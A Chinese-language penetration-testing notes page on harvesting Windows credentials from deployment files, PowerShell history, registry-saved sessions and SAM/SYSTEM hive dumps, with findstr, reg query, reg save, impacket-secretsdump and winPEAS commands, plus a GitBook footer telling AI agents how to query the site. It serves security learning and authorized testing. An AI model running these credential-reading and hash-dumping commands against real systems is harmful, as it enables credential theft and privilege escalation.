> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md).

# Windows 文件中的凭证

Windows 系统可能会在部署、应答或配置文件中保留凭据。在获得有限的本地立足点后，这些文件尤其有价值。

## 要检查的文件

```
C:/Windows/Panther/unattend.xml
C:/Windows/Panther/Autounattend.xml
C:/Windows/System32/Sysprep/sysprep.inf
C:/Windows/System32/Sysprep/sysprep.xml
C:/inetpub/wwwroot/web.config
C:/Users/*/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
```

如果密码以明文存储，它可能可以重复使用。如果 `明文` 属性为 `false`，则将该值视为已编码或已加密，并单独分析。

<figure><img src="/files/55fdfbce075827f2e35f2b6dbf8cbfbac462e138" alt="Windows deployment file containing credential material"><figcaption></figcaption></figure>

## 关键要点

* 在进行本地枚举时，尽早检查 Windows 部署文件。
* 验证发现的密码是明文、编码、加密还是已失效。
* 安装后通过删除应答文件进行修复，并避免在部署工件中保留持久性机密。

## 有用的搜索

先搜索可预测的位置；如果主机足够小，再扩大范围。

```cmd
dir /s /b C:\*unattend* C:\*sysprep* C:\*web.config* 2>nul
findstr /si /m "password passwd pwd username user= connectionString" C:\Users\*.txt C:\Users\*.ini C:\Users\*.config 2>nul
```

```powershell
Get-ChildItem C:\Users -Recurse -Force -Include *.txt,*.ini,*.config,*.xml,*.kdbx -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|pwd|connectionString|apikey|secret'
```

## 注册表和已保存的会话

当应用程序存储配置文件、最近的主机或旧凭据时，检查注册表会很有用。

```cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
cmdkey /list
```

## 离线哈希来源

如果你拥有诸如 `SeBackupPrivilege` 或本地管理员访问权限之类的权限，请导出 hive 并离线分析，而不是直接读取被锁定的文件。

```cmd
reg save HKLM\SAM C:\Temp\sam.save
reg save HKLM\SYSTEM C:\Temp\system.save
reg save HKLM\SECURITY C:\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## 自动化辅助工具

使用工具捕捉手动搜索遗漏的内容，但在采取行动前要手动审查输出。

```powershell
.\winPEASx64.exe quiet cmd fast
.\PrivescCheck.ps1
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-credentials-in-files.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
